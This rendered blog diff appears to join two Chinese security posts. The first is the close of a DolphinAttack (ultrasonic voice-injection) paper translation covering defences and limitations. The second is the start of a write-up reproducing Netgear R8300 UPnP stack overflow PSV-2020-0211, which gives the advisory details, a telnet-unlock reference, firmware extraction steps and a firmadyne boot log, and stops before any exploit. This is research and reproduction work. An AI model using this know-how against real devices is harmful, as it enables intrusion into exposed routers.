* 麦克风增强:语音命令听不到的根本原因是,麦克风可以感应到高于20 kHz的频率的声音,而理想的麦克风则不能。默认情况下,当今移动设备上的大多数MEMS麦克风都允许20 kHz以上的信号[2、3、29、52、53]。因此,应增强麦克风并设计其抑制任何频率在超声范围内的声音信号。例如,iPhone 6 Plus的麦克风可以很好地抵抗听不见的语音命令。
|
||||
* 语音命令取消听不见。在使用传统麦克风的情况下,我们可以在LPF之前添加一个模块,以检测调制后的语音命令并使用调制后的语音命令取消基带。特别是,我们可以检测到具有AM调制特性的超声频率范围内的信号,并对信号进行解调以获得基带。例如,在存在不可听见的语音命令注入的情况下,除了已解调的基带信号m(t)之外,记录的模拟语音信号还应包括原始调制信号:v(t)= Am(t)cos(2πfc t)+ cos(2πfc t),其中A是输入信号m(t)的增益。通过下变频v(t)以获得Am(t)并调整幅度,我们可以减去基带信号。请注意,这样的命令取消过程不会影响麦克风的正常操作,因为捕获的可听语音信号与超声范围内的噪声之间将不存在相关性。
|
||||
|
||||
### 7.2 基于软件的防御
|
||||
|
||||
基于软件的防御研究调制语音命令的独特功能,这些功能与真正的语音命令不同。如图17所示,恢复的(解调的)攻击信号在500到1000Hz的高频范围内显示出与原始信号和记录信号的差异。原始信号由Google TTS引擎产生,调制的载波频率为25 kHz。因此,我们可以通过分析500至1000 Hz频率范围内的信号来检测DolphinAttack。特别是,基于机器学习的分类器将对其进行检测。为了验证检测DolphinAttack的可行性,我们利用支持的矢量机(SVM)作为分类器,并从音频中提取了时域和频域中的15个特征。我们生成了12种语音命令(即“ Hey Siri”):NeoSpeech TTS引擎提供了8种语音,Selvy TTS引擎提供了4种语音。对于每种类型,我们获得了两个样本:一个被记录,另一个被恢复。总共有24个样本。为了训练SVM分类器,我们使用5个录制的音频作为正样本,并使用5个恢复的音频作为负样本。其余14个样本用于测试。分类器可以以100%真实肯定率(7/7)和100%真实否定率(7/7)区分恢复的音频和录制的音频。使用简单SVM分类器的结果表明可以使用基于软件的防御策略来检测DolphinAttack。
|
||||
![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610079044/Dolphin%20Attack/image_42.png)
|
||||
|
||||
## 8 相关工作
|
||||
|
||||
* 语音可控系统的安全性。越来越多的研究工作投入于研究语音可控系统的安全性[10、18、28、38、61]。 Kasmi等。 [28]通过在耳机电缆上施加有意的电磁干扰,对现代智能手机引入了语音命令注入攻击,而在本文中,我们通过利用超声波上的麦克风非线性来注入语音命令。 Mukhopadhyay等。 [38]展示了对最先进的自动说话人验证算法的语音模仿攻击。他们根据受害者的样本建立了受害者声音的模型。 [18]设计了一种权限绕过来自零许可Android应用程序通过电话扬声器的攻击。隐藏的语音命令和Cocaine noodles[10,61]使用可听和扭曲的音频命令来攻击语音识别系统。在这些攻击下,受害者有时可以观察到混淆的语音命令。 DolphinAttack受这些攻击的动机,但是完全听不见且听不到,我们展示了可以使用便携式设备启动DolphinAttack
|
||||
* 配备传感器的设备的安全性。配备有各种传感器的商业设备(例如,智能手机,可穿戴设备和平板电脑)正在逐渐普及。随着无处不在的移动设备的增长趋势,安全性成为人们关注的焦点。许多研究人员[14、15、46、60]专注于研究对智能设备上的传感器的可能攻击。其中,传感器欺骗(即,将恶意信号注入受害者传感器)引起了广泛关注,并被认为是对配备传感器的设备的最严重威胁之一。 Shin等。将传感器欺骗攻击[46]分为三类:常规信道攻击(重放攻击)[19、26、66],传输信道攻击和侧信道攻击[11、14、15、47、49]。 Dean等。 [14,15]证明,当声频分量接近陀螺仪传感质量的共振频率时,MEMS陀螺仪容易受到大功率高频声噪声的影响。利用机载传感器,Gu等。 [24]设计了一种使用振动马达和加速度计的加密密钥生成机制。我们的工作重点是麦克风,可以将其视为一种传感器。
|
||||
* 通过传感器泄露隐私。 Michalevsky等。 [36]利用MEMS陀螺仪来测量声学信号,从而揭示扬声器信息。 Schlegel等。 [44]设计了一种木马程序,可以从智能手机的音频传感器中提取高价值数据。 Owusu等。 [40]利用加速度计的读数作为副通道,在智能手机触摸屏键盘上提取输入文本的整个序列,而无需特殊的特权。 Aviv等。 [6]证明了加速度传感器可以揭示用户的点击和基于手势的输入。 Dey等。 [17]研究了如何利用车载加速度计的缺陷对智能手机进行指纹识别,并且指纹可以用作识别智能手机所有者的标识符。西蒙等。 [48]利用摄像机和麦克风来推断在智能手机的仅数字软键盘上输入的PIN。 Li等。文献[33]可以根据照片中的阴影和相机的传感器读数,通过估计太阳位置来验证照片的捕获时间和位置。 Sun等。 [55]提出了一个视频辅助按键推论框架,以从平板电脑动作的秘密视频记录中推断出平板电脑用户的输入。 Backes等。 [7]显示,可以根据打印机的声音恢复处理英语的点阵打印机正在打印的内容。同样,我们研究了如何利用麦克风漏洞来破坏安全和隐私。罗伊等。 [42]提出了BackDoor,它在超声频带上的两个扬声器和麦克风之间建立了一个声音(但听不见)通信通道。特别是,BackDoor利用两个超声波扬声器传输两个频率。通过麦克风的非线性振膜和功率放大器后,这两个信号在可听频率范围内产生一个“阴影”,可以携带数据。但是,“阴影”是单一音调,而不是由丰富音调集组成的语音命令。相比之下,我们表明可以使用一个扬声器向SR系统注入听不见的命令,从而引起各种安全和隐私问题。
|
||||
|
||||
## 9 海豚攻击”的局限性分析
|
||||
|
||||
上面谈到了“海豚攻击”实现的基本原理。但是经过我们的分析,这种“漏洞”虽然理论上存在风险,但是实现代价较大,且整体可行性较低,大家不必过于恐惧。下面我们再来分析一下它能实现的效果的局限性:
|
||||
|
||||
局限性1: 测试设备发射要求高,不易隐藏作案。
|
||||
首先,该系统需要一个大功率且大尺寸的信号发生器来生成高质量的超声信号;同时,目前的普通麦克风对20KHz以上的信号频响衰减非常大,这就要求超声信号的发射功率有相当大的发射功率。
|
||||
这篇文章中使用的超声发射器可以支持到300MHz的频率范围,超声播放的声压级达到了125dBL,这种情况下普通的简化装置的放大器和喇叭是实现不了的。
|
||||
|
||||
局限性2: 攻击距离很短,智能家居产品不受影响。
|
||||
同样是由于目前普通麦克风对20KHz以上的信号频响衰减非常大,在声压级是125dBL的播放的超声信号下(这个音量已经需要非常专业播放设备了),实验的最远冲击距离只有1.75m,对于大部分设备超过0.5m就没有响应了,再加上超声信号没有穿墙能力,因此对于放在家中的智能硬件设备是没有任何影响的。对于携带到公共场所的手机和可穿戴设备则有一定的“风险”。
|
||||
|
||||
局限性3: 攻击语音质量很低,效果和单个硬件相关。
|
||||
如前面我们的分析,由于解调后的信号毕竟是经过低通滤波器,导致各频带都是有不同程度衰减的,且大部分ADC都有抗混叠滤波,因此最终设备端解调进来的Baseband信号失真很严重,信噪比也不会很高。
|
||||
攻击效果也跟硬件本身相关,比如麦克风型号、低通滤波器的实现方式和效果、ADC抗混叠效果和采样频率都是相关的。想要达到好的效果必须根据实际的硬件来调节载波频率,信号强度等参数,这对于公共场所游走作案,且不知道被攻击者使用的什么设备的情况下是比较难以实现的。
|
||||
|
||||
|
||||
|
||||
## 10 结论
|
||||
|
||||
在本文中,我们提出了DolphinAttack,这是对SR系统的听不见的攻击。 DolphinAttack利用AM(振幅调制)技术来调制超声载波上的可听语音命令,从而使人无法感知命令信号。攻击者可以使用DolphinAttack攻击主要的SR系统,包括Siri,Google Now,Alexa等。为避免实际滥用DolphinAttack,我们从硬件和软件两个方面提出了两种防御解决方案。
|
990
source/_posts/Netgear-psv-2020-0211.md
Normal file
990
source/_posts/Netgear-psv-2020-0211.md
Normal file
@ -0,0 +1,990 @@
|
||||
---
|
||||
title: Netgear_栈溢出漏洞_PSV-2020-0211
|
||||
date: 2021-01-08 13:26:26
|
||||
tags:
|
||||
- Netgear
|
||||
- UPnP
|
||||
- 固件模拟
|
||||
categories:
|
||||
- IOT
|
||||
description: 复现一个漏洞
|
||||
---
|
||||
**固件模拟与UPnP栈溢出利用**
|
||||
https://kb.netgear.com/000062158/Security-Advisory-for-Pre-Authentication-Command-Injection-on-R8300-PSV-2020-0211
|
||||
https://ssd-disclosure.com/ssd-advisory-netgear-nighthawk-r8300-upnpd-preauth-rce/
|
||||
https://paper.seebug.org/1311/#1
|
||||
https://www.anquanke.com/post/id/217606
|
||||
|
||||
|
||||
## **0x00 漏洞概要**
|
||||
|
||||
|漏洞编号: |PSV-2020-0211 |
|
||||
|--- |--- |
|
||||
|披露时间: |* 2020 -07-31 — [Netgear 官方发布安全公告](https://kb.netgear.com/000062158/Security-Advisory-for-Pre-Authentication-Command-Injection-on-R8300-PSV-2020-0211) * 2020-08-18 – [漏洞公开披露](https://ssd-disclosure.com/ssd-advisory-netgear-nighthawk-r8300-upnpd-preauth-rce/) |
|
||||
|影响厂商: |Netgear |
|
||||
|漏洞类型: |栈溢出漏洞 |
|
||||
|漏洞评分(CVSS): |9.6, (AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) |
|
||||
|利用条件: |该漏洞只需攻击者能够通过网络访问被攻击路由器的UPnP服务,无需身份验证。 |
|
||||
|漏洞成因: |该漏洞位于路由器的 UPnP 服务中, 由于解析 SSDP 协议数据包的代码存在缺陷,导致未经授权的远程攻击者可以发送特制的数据包使得栈上的 buffer 溢出,进一步控制 PC 执行任意代码。 |
|
||||
|
||||
|
||||
|
||||
## **0x01 威胁范围**
|
||||
|
||||
|影响范围: |R8300 running firmware versions prior to 1.0.2.134 |
|
||||
|--- |--- |
|
||||
|ZoomEye查询结果: |Netgear R8300共有579台设备暴露在互联网上,绝大部分分布在美国,少量设备出现在欧洲 |
|
||||
|--- |![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610083781/netgear/1_3.png) |
|
||||
|| |
|
||||
|
||||
## 0x02 Qemu模拟
|
||||
|
||||
|真机调试 |硬件调试接口 |uart |
|
||||
|--- |--- |--- |
|
||||
|历史RCE |NETGEAR 多款设备基于堆栈的缓冲区溢出远程执行代码漏洞 |
|
||||
|设备后门开启telnet |[Unlocking the Netgear Telnet Console](https://openwrt.org/toh/netgear/telnet.console#for_newer_netgear_routers_that_accept_probe_packet_over_udp_ex2700_r6700_r7000_and_r7500) |
|
||||
|固件篡改植入telnet | |
|
||||
|固件模拟 |QEMU |现有平台上模拟 ARM、MIPS、X86、PowerPC、SPARK 等多种架构。 |
|
||||
|树莓派、开发板 |只要 CPU 指令集对的上,就可以跑起来 |
|
||||
| firmadyne |基于qemu定制 |
|
||||
|Qemu STM32 | |
|
||||
|Avatar |混合式仿真 |
|
||||
|
||||
[嵌入式设备固件安全分析技术研究综述 http://cjc.ict.ac.cn/online/bfpub/yyc-2020818141436.pdf](http://cjc.ict.ac.cn/online/bfpub/yyc-2020818141436.pdf)
|
||||
|
||||
由于没有真机,我们采用了固件模拟的方式来搭建分析环境。
|
||||
首先下载有问题的固件 R8300 Firmware Version 1.0.2.130 http://www.downloads.netgear.com/files/GDC/R8300/R8300-V1.0.2.130_1.0.99.zip
|
||||
使用binwalk对固件中的特征字符串进行识别,可以看到R8300采用了squashfs文件系统格式
|
||||
|
||||
```shell
|
||||
$ binwalk R8300-V1.0.2.130_1.0.99.chk
|
||||
|
||||
DECIMAL HEXADECIMAL DESCRIPTION
|
||||
--------------------------------------------------------------------------------
|
||||
58 0x3A TRX firmware header, little endian, image size: 32653312 bytes, CRC32: 0x5CEAB739, flags: 0x0, version: 1, header size: 28 bytes, loader offset: 0x1C, linux kernel offset: 0x21AB50, rootfs offset: 0x0
|
||||
86 0x56 LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 5470272 bytes
|
||||
2206602 0x21AB8A Squashfs filesystem, little endian, version 4.0, compression:xz, size: 30443160 bytes, 1650 inodes, blocksize: 131072 bytes, created: 2018-12-13 04:36:38
|
||||
|
||||
```
|
||||
|
||||
使用 `binwalk -Me` 提取出 Squashfs 文件系统,可以看到R8300为ARM v5架构.
|
||||
|
||||
```shell
|
||||
$ file usr/sbin/upnpd
|
||||
usr/sbin/upnpd: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked (uses shared libs), stripped
|
||||
```
|
||||
|
||||
### firmadyne
|
||||
|
||||
直接使用firmadyne模拟R8300固件失败,一是网络接口初始化失败,二是NVRAM配置存在问题
|
||||
原因可能是:
|
||||
|
||||
* firmadyne只支持armel、mipseb、 mipsel这三种系统内核,相比我们熟悉的armel,armhf代表了另一种不兼容的二进制标准。https://people.debian.org/~aurel32/qemu/armhf/
|
||||
* ![](https://res.cloudinary.com/dozyfkbg3/image/upload/v1610083836/netgear/image_28.png)
|
||||
|
||||
* NVRAM库劫持失败,firmadyne实现了sem_get()、sem_lock()、sem_unlock()等函数https://github.com/firmadyne/libnvram
|
||||
|
||||
```shell
|
||||
$ ./fat.py 'Path to R8300 firmware file'
|
||||
|
||||
__ _
|
||||
/ _| | |
|
||||
| |_ __ _ | |_
|
||||
| _| / _` | | __|
|
||||
| | | (_| | | |_
|
||||
|_| \__,_| \__|
|
||||
|
||||
Welcome to the Firmware Analysis Toolkit - v0.3
|
||||
Offensive IoT Exploitation Training http://bit.do/offensiveiotexploitation
|
||||
By Attify - https://attify.com | @attifyme
|
||||
|
||||
[+] Firmware: R8300-V1.0.2.130_1.0.99.chk
|
||||
[+] Extracting the firmware...
|
||||
[+] Image ID: 1
|
||||
[+] Identifying architecture...
|
||||
[+] Architecture: armel
|
||||
[+] Building QEMU disk image...
|
||||
[+] Setting up the network connection, please standby...
|
||||
[+] Network interfaces: []
|
||||
[+] All set! Press ENTER to run the firmware...
|
||||
[+] When running, press Ctrl + A X to terminate qemu
|
||||
**[+] Command line: /home/yjy/firmware-analysis-toolkit/firmadyne/scratch/2/run.sh**
|
||||
[sudo] password for yjy:
|
||||
Starting firmware emulation... use Ctrl-a + x to exit
|
||||
[ 0.000000] Booting Linux on physical CPU 0x0
|
||||
[ 0.000000] Linux version 4.1.17+ (vagrant@vagrant-ubuntu-trusty-64) (gcc version 5.3.0 (GCC) ) #1 Thu Feb 18 01:05:21 UTC 2016
|
||||
[ 0.000000] CPU: ARMv7 Processor [412fc0f1] revision 1 (ARMv7), cr=10c5387d
|
||||
[ 0.000000] CPU: PIPT / VIPT nonaliasing data cache, PIPT instruction cache
|
||||
[ 0.000000] Machine model: linux,dummy-virt
|
||||
[ 0.000000] debug: ignoring loglevel setting.
|
||||
[ 0.000000] Memory policy: Data cache writeback
|
||||
[ 0.000000] On node 0 totalpages: 65536
|
||||
[ 0.000000] free_area_init_node: node 0, pgdat c061dfe8, node_mem_map cfdf9000
|
||||
[ 0.000000] Normal zone: 512 pages used for memmap
|
||||
[ 0.000000] Normal zone: 0 pages reserved
|
||||
[ 0.000000] Normal zone: 65536 pages, LIFO batch:15
|
||||
[ 0.000000] CPU: All CPU(s) started in SVC mode.
|
||||
[ 0.000000] pcpu-alloc: s0 r0 d32768 u32768 alloc=1*32768
|
||||
[ 0.000000] pcpu-alloc: [0] 0
|
||||
[ 0.000000] Built 1 zonelists in Zone order, mobility grouping on. Total pages: 65024
|
||||
[ 0.000000] Kernel command line: root=/dev/vda1 console=ttyS0 nandsim.parts=64,64,64,64,64,64,64,64,64,64 rdinit=/firmadyne/preInit.sh rw debug ignore_loglevel print-fatal-signals=1 user_debug=31 firmadyne.syscall=0
|
||||
[ 0.000000] PID hash table entries: 1024 (order: 0, 4096 bytes)
|
||||
[ 0.000000] Dentry cache hash table entries: 32768 (order: 5, 131072 bytes)
|
||||
[ 0.000000] Inode-cache hash table entries: 16384 (order: 4, 65536 bytes)
|
||||
[ 0.000000] Memory: 253344K/262144K available (4297K kernel code, 170K rwdata, 1584K rodata, 180K init, 148K bss, 8800K reserved, 0K cma-reserved)
|
||||
[ 0.000000] Virtual kernel memory layout:
|
||||
[ 0.000000] vector : 0xffff0000 - 0xffff1000 ( 4 kB)
|
||||
[ 0.000000] fixmap : 0xffc00000 - 0xfff00000 (3072 kB)
|
||||
[ 0.000000] vmalloc : 0xd0800000 - 0xff000000 ( 744 MB)
|
||||
[ 0.000000] lowmem : 0xc0000000 - 0xd0000000 ( 256 MB)
|
||||
[ 0.000000] modules : 0xbf000000 - 0xc0000000 ( 16 MB)
|
||||
[ 0.000000] .text : 0xc0008000 - 0xc05c67bc (5882 kB)
|
||||
[ 0.000000] .init : 0xc05c7000 - 0xc05f4000 ( 180 kB)
|
||||
[ 0.000000] .data : 0xc05f4000 - 0xc061e840 ( 171 kB)
|
||||
[ 0.000000] .bss : 0xc0621000 - 0xc06462d4 ( 149 kB)
|
||||
[ 0.000000] NR_IRQS:16 nr_irqs:16 16
|
||||
[ 0.000000] Architected cp15 timer(s) running at 62.50MHz (virt).
|
||||
[ 0.000000] clocksource arch_sys_counter: mask: 0xffffffffffffff max_cycles: 0x1cd42e208c, max_idle_ns: 881590405314 ns
|
||||
[ 0.000071] sched_clock: 56 bits at 62MHz, resolution 16ns, wraps every 4398046511096ns
|
||||
[ 0.000128] Switching to timer-based delay loop, resolution 16ns
|
||||
[ 0.001495] Console: colour dummy device 80x30
|
||||
[ 0.001639] Calibrating delay loop (skipped), value calculated using timer frequency.. 125.00 BogoMIPS (lpj=625000)
|
||||
[ 0.001695] pid_max: default: 32768 minimum: 301
|
||||
[ 0.002124] Mount-cache hash table entries: 1024 (order: 0, 4096 bytes)
|
||||
[ 0.002142] Mountpoint-cache hash table entries: 1024 (order: 0, 4096 bytes)
|
||||
[ 0.005250] CPU: Testing write buffer coherency: ok
|
||||
[ 0.008040] Setting up static identity map for 0x40008240 - 0x40008298
|
||||
[ 0.015663] VFP support v0.3: implementor 41 architecture 4 part 30 variant f rev 0
|
||||
[ 0.019946] clocksource jiffies: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 19112604462750000 ns
|
||||
[ 0.025312] NET: Registered protocol family 16
|
||||
[ 0.026714] DMA: preallocated 256 KiB pool for atomic coherent allocations
|
||||
[ 0.028535] cpuidle: using governor ladder
|
||||
[ 0.028604] cpuidle: using governor menu
|
||||
[ 0.030202] genirq: Setting trigger mode 1 for irq 20 failed (gic_set_type+0x0/0x48)
|
||||
[ 0.031001] genirq: Setting trigger mode 1 for irq 21 failed (gic_set_type+0x0/0x48)
|
||||
[ 0.031154] genirq: Setting trigger mode 1 for irq 22 failed (gic_set_type+0x0/0x48)
|
||||
[ 0.031310] genirq: Setting trigger mode 1 for irq 23 failed (gic_set_type+0x0/0x48)
|
||||
[ 0.031466] genirq: Setting trigger mode 1 for irq 24 failed (gic_set_type+0x0/0x48)
|
||||
[ 0.031614] genirq: Setting trigger mode 1 for irq 25 failed (gic_set_type+0x0/0x48)
|
||||
[ 0.031756] genirq: Setting trigger mode 1 for irq 26 failed (gic_set_type+0x0/0x48)
|
||||
[ 0.031900] genirq: Setting trigger mode 1 for irq 27 failed (gic_set_type+0x0/0x48)
|
||||
[ 0.032378] genirq: Setting trigger mode 1 for irq 28 failed (gic_set_type+0x0/0x48)
|
||||
[ 0.032530] genirq: Setting trigger mode 1 for irq 29 failed (gic_set_type+0x0/0x48)
|
||||
[ 0.032670] genirq: Setting trigger mode 1 for irq 30 failed (gic_set_type+0x0/0x48)
|
||||
[ 0.032819] genirq: Setting trigger mode 1 for irq 31 failed (gic_set_type+0x0/0x48)
|
||||
[ 0.032959] genirq: Setting trigger mode 1 for irq 32 failed (gic_set_type+0x0/0x48)
|
||||
[ 0.033118] genirq: Setting trigger mode 1 for irq 33 failed (gic_set_type+0x0/0x48)
|
||||
[ 0.033256] genirq: Setting trigger mode 1 for irq 34 failed (gic_set_type+0x0/0x48)
|
||||
[ 0.033394] genirq: Setting trigger mode 1 for irq 35 failed (gic_set_type+0x0/0x48)
|
||||
[ 0.033536] genirq: Setting trigger mode 1 for irq 36 failed (gic_set_type+0x0/0x48)
|
||||
[ 0.033681] genirq: Setting trigger mode 1 for irq 37 failed (gic_set_type+0x0/0x48)
|
||||
[ 0.033849] genirq: Setting trigger mode 1 for irq 38 failed (gic_set_type+0x0/0x48)
|
||||
[ 0.034017] genirq: Setting trigger mode 1 for irq 39 failed (gic_set_type+0x0/0x48)
|
||||
[ 0.034163] genirq: Setting trigger mode 1 for irq 40 failed (gic_set_type+0x0/0x48)
|
||||
[ 0.034311] genirq: Setting trigger mode 1 for irq 41 failed (gic_set_type+0x0/0x48)
|
||||
[ 0.034462] genirq: Setting trigger mode 1 for irq 42 failed (gic_set_type+0x0/0x48)
|
||||
[ 0.034612] genirq: Setting trigger mode 1 for irq 43 failed (gic_set_type+0x0/0x48)
|
||||
[ 0.034766] genirq: Setting trigger mode 1 for irq 44 failed (gic_set_type+0x0/0x48)
|
||||
[ 0.034921] genirq: Setting trigger mode 1 for irq 45 failed (gic_set_type+0x0/0x48)
|
||||
[ 0.035088] genirq: Setting trigger mode 1 for irq 46 failed (gic_set_type+0x0/0x48)
|
||||
[ 0.035258] genirq: Setting trigger mode 1 for irq 47 failed (gic_set_type+0x0/0x48)
|
||||
[ 0.035408] genirq: Setting trigger mode 1 for irq 48 failed (gic_set_type+0x0/0x48)
|
||||
[ 0.035554] genirq: Setting trigger mode 1 for irq 49 failed (gic_set_type+0x0/0x48)
|
||||
[ 0.035698] genirq: Setting trigger mode 1 for irq 50 failed (gic_set_type+0x0/0x48)
|
||||
[ 0.035841] genirq: Setting trigger mode 1 for irq 51 failed (gic_set_type+0x0/0x48)
|
||||
[ 0.036126] genirq: Setting trigger mode 1 for irq 52 failed (gic_set_type+0x0/0x48)
|
||||
[ 0.037808] Serial: AMBA PL011 UART driver
|
||||
[ 0.038739] 9000000.pl011: ttyS0 at MMIO 0x9000000 (irq = 52, base_baud = 0) is a PL011 rev1
|
||||
[ 0.093732] console [ttyS0] enabled
|
||||
[ 0.106203] vgaarb: loaded
|
||||
[ 0.108624] SCSI subsystem initialized
|
||||
[ 0.111674] usbcore: registered new interface driver usbfs
|
||||
[ 0.115340] usbcore: registered new interface driver hub
|
||||
[ 0.118879] usbcore: registered new device driver usb
|
||||
[ 0.126521] cfg80211: Calling CRDA to update world regulatory domain
|
||||
[ 0.133497] Switched to clocksource arch_sys_counter
|
||||
[ 0.147183] NET: Registered protocol family 2
|
||||
[ 0.152842] TCP established hash table entries: 2048 (order: 1, 8192 bytes)
|
||||
[ 0.158337] TCP bind hash table entries: 2048 (order: 1, 8192 bytes)
|
||||
[ 0.162885] TCP: Hash tables configured (established 2048 bind 2048)
|
||||
[ 0.167385] UDP hash table entries: 256 (order: 0, 4096 bytes)
|
||||
[ 0.171595] UDP-Lite hash table entries: 256 (order: 0, 4096 bytes)
|
||||
[ 0.176698] NET: Registered protocol family 1
|
||||
[ 0.179833] PCI: CLS 0 bytes, default 64
|
||||
[ 0.185928] NetWinder Floating Point Emulator V0.97 (extended precision)
|
||||
[ 0.192393] futex hash table entries: 256 (order: -1, 3072 bytes)
|
||||
[ 0.201353] squashfs: version 4.0 (2009/01/31) Phillip Lougher
|
||||
[ 0.207858] jffs2: version 2.2. (NAND) © 2001-2006 Red Hat, Inc.
|
||||
[ 0.212517] romfs: ROMFS MTD (C) 2007 Red Hat, Inc.
|
||||
[ 0.219896] Block layer SCSI generic (bsg) driver version 0.4 loaded (major 253)
|
||||
[ 0.225512] io scheduler noop registered
|
||||
[ 0.228340] io scheduler cfq registered (default)
|
||||
[ 0.232063] firmadyne: devfs: 1, execute: 1, procfs: 1, syscall: 0
|
||||
[ 0.237165] ------------[ cut here ]------------
|
||||
[ 0.240536] WARNING: CPU: 0 PID: 1 at /home/vagrant/firmadyne-kernel/kernel-v4.1/fs/sysfs/dir.c:31 sysfs_warn_dup+0x50/0x6c()
|
||||
[ 0.248160] sysfs: cannot create duplicate filename '/class/gpio'
|
||||
[ 0.252258] Modules linked in:
|
||||
[ 0.254810] CPU: 0 PID: 1 Comm: swapper Not tainted 4.1.17+ #1
|
||||
[ 0.259118] Hardware name: Generic DT based system
|
||||
[ 0.262292] [<c001c99c>] (unwind_backtrace) from [<c0019d30>] (show_stack+0x10/0x14)
|
||||
[ 0.262401] [<c0019d30>] (show_stack) from [<c0024ab4>] (warn_slowpath_common+0x80/0xa8)
|
||||
[ 0.262472] [<c0024ab4>] (warn_slowpath_common) from [<c0024b08>] (warn_slowpath_fmt+0x2c/0x3c)
|
||||
[ 0.262560] [<c0024b08>] (warn_slowpath_fmt) from [<c00e363c>] (sysfs_warn_dup+0x50/0x6c)
|
||||
[ 0.262619] [<c00e363c>] (sysfs_warn_dup) from [<c00e3714>] (sysfs_create_dir_ns+0x74/0x84)
|
||||
[ 0.262679] [<c00e3714>] (sysfs_create_dir_ns) from [<c018e6ac>] (kobject_add_internal+0xb8/0x2ac)
|
||||
[ 0.262742] [<c018e6ac>] (kobject_add_internal) from [<c018e9a8>] (kset_register+0x1c/0x44)
|
||||
[ 0.262801] [<c018e9a8>] (kset_register) from [<c02090b4>] (__class_register+0xa8/0x198)
|
||||
[ 0.262860] [<c02090b4>] (__class_register) from [<c02091e4>] (__class_create+0x40/0x70)
|
||||
[ 0.262918] [<c02091e4>] (__class_create) from [<c01adf68>] (register_devfs_stubs+0x314/0xbb4)
|
||||
[ 0.262981] [<c01adf68>] (register_devfs_stubs) from [<c05d9b08>] (init_module+0x28/0xa4)
|
||||
[ 0.263053] [<c05d9b08>] (init_module) from [<c0009670>] (do_one_initcall+0x104/0x1b4)
|
||||
[ 0.263113] [<c0009670>] (do_one_initcall) from [<c05c7d08>] (kernel_init_freeable+0xf0/0x1b0)
|
||||
[ 0.263229] [<c05c7d08>] (kernel_init_freeable) from [<c040f28c>] (kernel_init+0x8/0xe4)
|
||||
[ 0.263287] [<c040f28c>] (kernel_init) from [<c0016da8>] (ret_from_fork+0x14/0x2c)
|
||||
[ 0.263383] ---[ end trace b31221f46a8dc90e ]---
|
||||
[ 0.263460] ------------[ cut here ]------------
|
||||
[ 0.263502] WARNING: CPU: 0 PID: 1 at /home/vagrant/firmadyne-kernel/kernel-v4.1/lib/kobject.c:240 kobject_add_internal+0x240/0x2ac()
|
||||
[ 0.263572] kobject_add_internal failed for gpio with -EEXIST, don't try to register things with the same name in the same directory.
|
||||
[ 0.263639] Modules linked in:
|
||||
[ 0.263699] CPU: 0 PID: 1 Comm: swapper Tainted: G W 4.1.17+ #1
|
||||
[ 0.263744] Hardware name: Generic DT based system
|
||||
[ 0.263788] [<c001c99c>] (unwind_backtrace) from [<c0019d30>] (show_stack+0x10/0x14)
|
||||
[ 0.263846] [<c0019d30>] (show_stack) from [<c0024ab4>] (warn_slowpath_common+0x80/0xa8)
|
||||
[ 0.263906] [<c0024ab4>] (warn_slowpath_common) from [<c0024b08>] (warn_slowpath_fmt+0x2c/0x3c)
|
||||
[ 0.263970] [<c0024b08>] (warn_slowpath_fmt) from [<c018e834>] (kobject_add_internal+0x240/0x2ac)
|
||||
[ 0.264032] [<c018e834>] (kobject_add_internal) from [<c018e9a8>] (kset_register+0x1c/0x44)
|
||||
[ 0.264091] [<c018e9a8>] (kset_register) from [<c02090b4>] (__class_register+0xa8/0x198)
|
||||
[ 0.268034] [<c02090b4>] (__class_register) from [<c02091e4>] (__class_create+0x40/0x70)
|
||||
[ 0.275667] [<c02091e4>] (__class_create) from [<c01adf68>] (register_devfs_stubs+0x314/0xbb4)
|
||||
[ 0.280619] [<c01adf68>] (register_devfs_stubs) from [<c05d9b08>] (init_module+0x28/0xa4)
|
||||
[ 0.285445] [<c05d9b08>] (init_module) from [<c0009670>] (do_one_initcall+0x104/0x1b4)
|
||||
[ 0.289737] [<c0009670>] (do_one_initcall) from [<c05c7d08>] (kernel_init_freeable+0xf0/0x1b0)
|
||||
[ 0.290664] [<c05c7d08>] (kernel_init_freeable) from [<c040f28c>] (kernel_init+0x8/0xe4)
|
||||
[ 0.290727] [<c040f28c>] (kernel_init) from [<c0016da8>] (ret_from_fork+0x14/0x2c)
|
||||
[ 0.290797] ---[ end trace b31221f46a8dc90f ]---
|
||||
[ 0.290872] firmadyne: Cannot create device class: gpio!
|
||||
[ 0.291677] firmadyne: Cannot register character device: watchdog, 0xa, 0x82!
|
||||
[ 0.291743] firmadyne: Cannot register character device: wdt, 0xfd, 0x0!
|
||||
[ 0.345419] Non-volatile memory driver v1.3
|
||||
[ 0.360206] brd: module loaded
|
||||
[ 0.368143] loop: module loaded
|
||||
[ 0.375773] vda: vda1
|
||||
[ 0.380587] [nandsim] warning: read_byte: unexpected data output cycle, state is STATE_READY return 0x0
|
||||
[ 0.387584] [nandsim] warning: read_byte: unexpected data output cycle, state is STATE_READY return 0x0
|
||||
[ 0.394469] [nandsim] warning: read_byte: unexpected data output cycle, state is STATE_READY return 0x0
|
||||
[ 0.401256] [nandsim] warning: read_byte: unexpected data output cycle, state is STATE_READY return 0x0
|
||||
[ 0.402697] [nandsim] warning: read_byte: unexpected data output cycle, state is STATE_READY return 0x0
|
||||
[ 0.402848] [nandsim] warning: read_byte: unexpected data output cycle, state is STATE_READY return 0x0
|
||||
[ 0.403058] nand: device found, Manufacturer ID: 0x98, Chip ID: 0x39
|
||||
[ 0.403112] nand: Toshiba NAND 128MiB 1,8V 8-bit
|
||||
[ 0.403158] nand: 128 MiB, SLC, erase size: 16 KiB, page size: 512, OOB size: 16
|
||||
[ 0.403555] flash size: 128 MiB
|
||||
[ 0.403585] page size: 512 bytes
|
||||
[ 0.403612] OOB area size: 16 bytes
|
||||
[ 0.403640] sector size: 16 KiB
|
||||
[ 0.403665] pages number: 262144
|
||||
[ 0.403690] pages per sector: 32
|
||||
[ 0.403715] bus width: 8
|
||||
[ 0.405652] bits in sector size: 14
|
||||
[ 0.408186] bits in page size: 9
|
||||
[ 0.410586] bits in OOB size: 4
|
||||
[ 0.412941] flash size with OOB: 135168 KiB
|
||||
[ 0.416112] page address bytes: 4
|
||||
[ 0.418491] sector address bytes: 3
|
||||
[ 0.421054] options: 0x42
|
||||
[ 0.423632] Scanning device for bad blocks
|
||||
